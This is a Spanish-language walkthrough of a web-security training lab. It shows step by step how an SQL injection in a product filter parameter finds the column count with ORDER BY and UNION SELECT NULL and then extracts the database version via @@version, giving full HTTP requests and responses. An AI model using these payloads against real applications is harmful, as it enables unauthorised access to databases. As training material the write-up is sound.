> For the complete documentation index, see [llms.txt](https://books.spartan-cybersec.com/web/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://books.spartan-cybersec.com/web/sql-injection/lab-4-sql-injection-attack-querying-the-database-type-and-version-on-mysql-and-microsoft.md).
# Lab 4: SQL injection attack, querying the database type and version on MySQL and Microsoft
Se inicia el laboratorio y al interactuar con los filtros de busqueda:
Se genera la siguiente peticion:
```
GET /filter?category=Food+%26+Drink HTTP/2
Host: 0a0f00790407044482581a7e000a008b.web-security-academy.net
Cookie: session=0K44VOczBGqjjsestx2sxen5okKNiH33
Sec-Ch-Ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a0f00790407044482581a7e000a008b.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
```
Y esto responde con:
```
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 8352
```
Asi que procedemos a realizar nuestra primera inyeccion SQL: `'+order+by+1#`
```
GET /filter?category='+order+by+1# HTTP/2
Host: 0a0f00790407044482581a7e000a008b.web-security-academy.net
Cookie: session=0K44VOczBGqjjsestx2sxen5okKNiH33
Sec-Ch-Ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a0f00790407044482581a7e000a008b.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
```
Lo anterior responde con:
```
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3905
```
Enviamos la siguiente peticion incrementando el numero a 2:
```
GET /filter?category='+order+by+2# HTTP/2
Host: 0a0f00790407044482581a7e000a008b.web-security-academy.net
Cookie: session=0K44VOczBGqjjsestx2sxen5okKNiH33
Sec-Ch-Ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a0f00790407044482581a7e000a008b.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
```
Y lo anterior respondera con:
```
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3905
```
Y finalizamos con el numero 3:
```
GET /filter?category='+order+by+3# HTTP/2
Host: 0a0f00790407044482581a7e000a008b.web-security-academy.net
Cookie: session=0K44VOczBGqjjsestx2sxen5okKNiH33
Sec-Ch-Ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a0f00790407044482581a7e000a008b.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
```
Esta peticion entrega un error:
```
HTTP/2 500 Internal Server Error
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2554
```
Luego de lo anterior, podemos afirmar que tenemos dos campos para poder retornar data:
Otra forma de validar, es utilizando UNION: `'+UNION+SELECT+NULL#`
```
GET /filter?category='+UNION+SELECT+NULL# HTTP/2
Host: 0a0f00790407044482581a7e000a008b.web-security-academy.net
Cookie: session=0K44VOczBGqjjsestx2sxen5okKNiH33
Sec-Ch-Ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a0f00790407044482581a7e000a008b.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
```
Y lo anterior retorna un error:
```
HTTP/2 500 Internal Server Error
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2554
```
Y si agregamos otro NULL:
```
GET /filter?category='+UNION+SELECT+NULL,NULL# HTTP/2
Host: 0a0f00790407044482581a7e000a008b.web-security-academy.net
Cookie: session=0K44VOczBGqjjsestx2sxen5okKNiH33
Sec-Ch-Ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a0f00790407044482581a7e000a008b.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
```
Se obtiene una respuesta sin codigos de error:
```
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3976
```
Y si incrementamos, obviamente saldra un error:
```
GET /filter?category='+UNION+SELECT+NULL,NULL,NULL# HTTP/2
Host: 0a0f00790407044482581a7e000a008b.web-security-academy.net
Cookie: session=0K44VOczBGqjjsestx2sxen5okKNiH33
Sec-Ch-Ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a0f00790407044482581a7e000a008b.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
```
Lo anterior, responde asi:
```
HTTP/2 500 Internal Server Error
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2554
```
Se procede a validar el tipo de dato para cada columna:
```
GET /filter?category='+UNION+SELECT+'Spartan','Cybersecurity'# HTTP/2
Host: 0a0f00790407044482581a7e000a008b.web-security-academy.net
Cookie: session=0K44VOczBGqjjsestx2sxen5okKNiH33
Sec-Ch-Ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a0f00790407044482581a7e000a008b.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
```
Y se logra detectar que ambos campos son de tipo STRING:
```
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 4108
```
Por lo anterior, finalizamos con la inyeccion que retorna la version:
```
GET /filter?category='+UNION+SELECT+@@version,+NULL# HTTP/2
Host: 0a0f00790407044482581a7e000a008b.web-security-academy.net
Cookie: session=0K44VOczBGqjjsestx2sxen5okKNiH33
Sec-Ch-Ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a0f00790407044482581a7e000a008b.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
```
Lo anterior responde asi:
---
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